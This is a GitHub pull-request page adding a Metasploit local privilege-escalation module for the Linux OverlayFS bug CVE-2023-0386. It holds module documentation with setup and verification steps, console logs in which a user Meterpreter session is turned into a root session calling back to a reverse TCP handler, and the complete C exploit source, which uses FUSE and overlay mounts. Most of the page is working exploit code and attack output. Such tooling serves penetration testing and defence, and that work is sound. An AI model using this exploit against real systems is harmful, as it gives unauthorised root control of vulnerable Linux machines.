Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module: Linux Priv Esc (OverlayFS copying bug) CVE-2023-0386 #19441

Merged
merged 34 commits into from
Sep 26, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
34 commits
Select commit Hold shift + click to select a range
3d20dd6
Add module:
Takahiro-Yoko Sep 5, 2024
216590f
Add last blank line
Takahiro-Yoko Sep 5, 2024
afb8c6c
Strip comments
Takahiro-Yoko Sep 5, 2024
dc81711
Make timeout user configurable
Takahiro-Yoko Sep 5, 2024
b243b86
Update modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb
Takahiro-Yoko Sep 5, 2024
920ef70
Exploit dir existing check
Takahiro-Yoko Sep 6, 2024
1cc562c
Use mkdir function
Takahiro-Yoko Sep 6, 2024
cd97b08
Move C code to separate file
Takahiro-Yoko Sep 6, 2024
7a921bb
Update modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb
Takahiro-Yoko Sep 6, 2024
ccc4727
Update external/source/exploits/CVE-2023-0386/exploit.c
Takahiro-Yoko Sep 6, 2024
d4ac300
Fix typo
Takahiro-Yoko Sep 6, 2024
a40fbb2
Remove unnecessary check
Takahiro-Yoko Sep 6, 2024
b34e807
Remove unnecessary directory existing check
Takahiro-Yoko Sep 6, 2024
72a9164
Update pre-compiled binary
Takahiro-Yoko Sep 6, 2024
fd7321d
Strip_comments
Takahiro-Yoko Sep 6, 2024
9e832eb
Use exploit_path variable
Takahiro-Yoko Sep 7, 2024
731780c
Formatting
Takahiro-Yoko Sep 7, 2024
2b63f8b
Rename exploit
Takahiro-Yoko Sep 7, 2024
692531b
Call payload directory
Takahiro-Yoko Sep 7, 2024
8366252
Not call payload directory
Takahiro-Yoko Sep 7, 2024
212c96d
Add last blank line
Takahiro-Yoko Sep 7, 2024
8ddf8a0
Remove options
Takahiro-Yoko Sep 7, 2024
dd93284
Remove unused variables
Takahiro-Yoko Sep 8, 2024
b8f1bc3
Update doc
Takahiro-Yoko Sep 8, 2024
6b64640
Update doc
Takahiro-Yoko Sep 9, 2024
30704c4
Remove unnecessary strip_comments
Takahiro-Yoko Sep 15, 2024
33152bf
Update external/source/exploits/CVE-2023-0386/cve_2023_0386.c
Takahiro-Yoko Sep 23, 2024
130f146
Apply suggestions from code review
Takahiro-Yoko Sep 23, 2024
a10459e
Formatting exploit
Takahiro-Yoko Sep 23, 2024
6d541b6
Remove unnecessary shell_path
Takahiro-Yoko Sep 23, 2024
75329cc
Add ;
Takahiro-Yoko Sep 23, 2024
7558300
Update exploit binary and remove unnecessary
Takahiro-Yoko Sep 23, 2024
e89e573
Update exploit binary
Takahiro-Yoko Sep 24, 2024
3e6572a
Update binary
bwatters-r7 Sep 26, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added data/exploits/CVE-2023-0386/cve_2023_0386.x64.elf
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,148 @@
## Vulnerable Application

This exploit targets the Linux kernel bug in OverlayFS.

A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities
was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount.
This uid mapping bug allows a local user to escalate their privileges on the system.

The vulnerability affects:

* Linux kernel from (including) 5.11 up to (excluding) 5.15.91 and from (including) 5.16 Up to (excluding) 6.1.9

This module was successfully tested on:

* Ubuntu kernel version 5.13.0-1021-oem on x64/amd64
* Ubuntu kernel version 6.0.0-060000-generic on x64/amd64
* Ubuntu kernel version 6.0.19-060019-generic on x64/amd64
* Ubuntu kernel version 6.1.0-060100-generic on x64/amd64

### Install

1. Install Ubuntu version 22.04 LTS
2. (Optional) Change kernel version
```
sudo apt update
sudo apt install -y linux-image-5.13.0-1021-oem linux-headers-5.13.0-1021-oem
reboot
```
3. Install the required libraries
```
sudo apt update
sudo apt install -y gcc cmake fuse libfuse-dev libcap-dev
```

## Verification Steps

1. Make an Ubuntu
2. Create a meterpreter or shell payload and upload it to the Ubuntu target
3. Set up a handler for the payload
4. Launch the payload as a regular user on the Ubuntu target and connect the handler
5. Do: `use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc`
6. Do: `run session=<session> lhost=<lhost>`
7. You should get a root

## Options

### COMPILE (required)

[Auto|True|False] This selects the binary to use. True will upload the source code and perform
compilation on target, False will upload a precompiled binary. AUTO will favor compiling on target
but will fall back to the precompiled option if a compiler cannot be found.
The default value is `Auto`

### TIMEOUT (required)

This is the amount of time (in seconds) that the module will wait for the payload to be
executed. Defaults to 60 seconds.

### WritableDir (required)
This indicates the location where you would like the payload and exploit binary stored, as well
as serving as a location to store the various files and directories created by the exploit itself.
The default value is `/tmp`

## Scenarios
### Ubuntu 6.0.19-060019-generic x64/amd64 COMPILE=Auto
```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > run lhost=192.168.56.1 lport=4444 payload=linux/x64/meterpreter/reverse_tcp

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Sending stage (3045380 bytes) to 192.168.56.10
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.10:59844) at 2024-09-09 08:22:36 +0900

meterpreter > getuid
Server username: ubu
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
msf6 exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=Auto

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Failed to open file: /proc/sys/kernel/unprivileged_userns_clone: core_channel_open: Operation failed: 1
[+] The target appears to be vulnerable. Linux kernel version found: 6.0.19
[*] Writing '/tmp/.AHeqRyKHX/.2zkk6' (1068952 bytes) ...
[*] Launching exploit...
[+] Deleted /tmp/.AHeqRyKHX
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.10:54770) at 2024-09-09 08:23:02 +0900

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.56.10
OS : Ubuntu 22.04 (Linux 6.0.19-060019-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```

### Ubuntu 6.0.19-060019-generic x64/amd64 COMPILE=True
```
msf6 exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=True

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Failed to open file: /proc/sys/kernel/unprivileged_userns_clone: core_channel_open: Operation failed: 1
[+] The target appears to be vulnerable. Linux kernel version found: 6.0.19
[*] Writing '/tmp/.cvnVjW/.j3OSujf' (1068952 bytes) ...
[*] Launching exploit...
[+] Deleted /tmp/.cvnVjW
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.10:51750) at 2024-09-09 08:23:28 +0900

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.56.10
OS : Ubuntu 22.04 (Linux 6.0.19-060019-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```

### Ubuntu 6.0.19-060019-generic x64/amd64 COMPILE=False
```
msf6 exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=False

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Failed to open file: /proc/sys/kernel/unprivileged_userns_clone: core_channel_open: Operation failed: 1
[+] The target appears to be vulnerable. Linux kernel version found: 6.0.19
[*] Writing '/tmp/.wWno7SA/.Bv3HUIrHyr' (18712 bytes) ...
[*] Writing '/tmp/.wWno7SA/.r1nzG9LZ' (16824 bytes) ...
[*] Writing '/tmp/.wWno7SA/.g0QNeF' (1068952 bytes) ...
[*] Launching exploit...
[+] Deleted /tmp/.wWno7SA
[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.10:33860) at 2024-09-09 08:23:50 +0900

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.56.10
OS : Ubuntu 22.04 (Linux 6.0.19-060019-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
214 changes: 214 additions & 0 deletions external/source/exploits/CVE-2023-0386/cve_2023_0386.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,214 @@
// Kudos to https://github.com/xkaneiki/CVE-2023-0386
// Just refactored and eased code to only one binary.

#define FUSE_USE_VERSION 29
#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sched.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <signal.h>

char SHELL[0x5000000];

#define STR_LENGTH 500
char DIR_BASE[STR_LENGTH];
char DIR_WORK[STR_LENGTH];
char DIR_LOWER[STR_LENGTH];
char DIR_UPPER[STR_LENGTH];
char DIR_MERGE[STR_LENGTH];


void fatal(const char *msg)
{
perror(msg);
exit(1);
}

static int getattr_callback(const char *path, struct stat *stbuf)
{
printf("%s\n", "[+] getattr_callback");
memset(stbuf, 0, sizeof(struct stat));

if (strcmp(path, "/file") == 0)
{
printf("%s\n", path);
stbuf->st_mode = S_IFREG | 04777;
stbuf->st_nlink = 1;
stbuf->st_uid = 0;
stbuf->st_gid = 0;
stbuf->st_size = sizeof(SHELL);
return 0;
}
else if (strcmp(path, "/") == 0)
{
printf("%s\n", path);
stbuf->st_mode = S_IFDIR | 0777;
stbuf->st_nlink = 2;
stbuf->st_uid = 1000;
stbuf->st_gid = 1000;
return 0;
}
return -ENOENT;
}

static int open_callback(const char *path, struct fuse_file_info *fi)
{
printf("%s\n", "[+] open_callback");
printf("%s\n", path);
if (strcmp(path, "file") == 0)
{
int fd = open("", fi->flags);

return -errno;
}
return 0;
}

static int read_callback(const char *path,
char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)
{
printf("%s\n", "[+] read_callback");
printf(" path : %s\n", path);
printf(" size : 0x%lx\n", size);
printf(" offset: 0x%lx\n", offset);
char tmp;
if (strcmp(path, "/file") == 0)
{
size_t len = sizeof(SHELL);
if (offset >= len)
return 0;
if ((size > len) || (offset + size > len))
{
memcpy(buf, SHELL + offset, len - offset);
return len - offset;
}
else
{
memcpy(buf, SHELL + offset, size);
return size;
}
}
return -ENOENT;
}


// needed for touch
static int ioctl_callback(const char *p, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data)
{
printf("%s\n", "[+] ioctl callback");
printf("path %s\n", p);
printf("cmd 0x%x\n", cmd);
return 0;
}

static int readdir_callback(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi)
{
printf("%s\n", "[+] readdir");
filler(buf, "file", NULL, 0);
return 0;
}

static struct fuse_operations fops = {
.getattr = getattr_callback,
.open = open_callback,
.read = read_callback,
.ioctl = ioctl_callback,
.readdir = readdir_callback,
};

void start_fuse()
{
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
struct fuse_chan *chan;
struct fuse *fuse;

if (!(chan = fuse_mount(DIR_LOWER, &args)))
fatal("fuse_mount");

if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL)))
{
fuse_unmount(DIR_LOWER, chan);
fatal("fuse_new");
}

fuse_set_signal_handlers(fuse_get_session(fuse));
fuse_loop_mt(fuse);
fuse_unmount(DIR_LOWER, chan);
}

void preps()
{
char buf[4096];
if (mkdir(DIR_BASE, 0777))
perror("mkdir");
sprintf(buf, "rm -rf '%s/*'", DIR_BASE);
system(buf);
if (mkdir(DIR_LOWER, 0777))
perror("mkdir");
if (mkdir(DIR_UPPER, 0777))
perror("mkdir");
if (mkdir(DIR_WORK, 0777))
perror("mkdir");
if (mkdir(DIR_MERGE, 0777))
perror("mkdir");
}

int main(int argc, char const *argv[])
{
char buf[8192];
// argv[1] = payload to launch
// argv[2] = base_dir
if (argc < 3)
{
puts("[-] usage:");
puts("./exploit [payload path] [base_dir path]");
return -1;
}

int fd = open(argv[1], O_RDONLY);
if (fd < 0)
{
fatal("open payload");
}
int clen = 0;
while (read(fd, SHELL + clen, 1) > 0)
clen++;
close(fd);

strcpy(DIR_BASE, argv[2]);
snprintf(DIR_WORK, STR_LENGTH, "%s/%s", argv[2], "work");
snprintf(DIR_LOWER, STR_LENGTH, "%s/%s", argv[2], "lower");
snprintf(DIR_UPPER, STR_LENGTH, "%s/%s", argv[2], "upper");
snprintf(DIR_MERGE, STR_LENGTH, "%s/%s", argv[2], "merge");

preps();

Takahiro-Yoko marked this conversation as resolved.
Show resolved Hide resolved
setuid(0);
setgid(0);

int pid = fork();
if (pid == 0)
{
start_fuse();
}
else
{
printf("Waiting 1 sec...\n");
sleep(1);
sprintf(buf, "unshare -r -m sh -c 'mount -t overlay overlay -o lowerdir=%s,upperdir=%s,workdir=%s %s && ls -la %s && touch %s/file'", DIR_LOWER, DIR_UPPER, DIR_WORK, DIR_MERGE, DIR_MERGE, DIR_MERGE);
printf("%s\n", buf);
system(buf);
kill(pid, SIGINT);
sprintf(buf, "%s/file", DIR_UPPER);
printf("%s\n", buf);
system(buf);
}
return 0;
}
Loading
Loading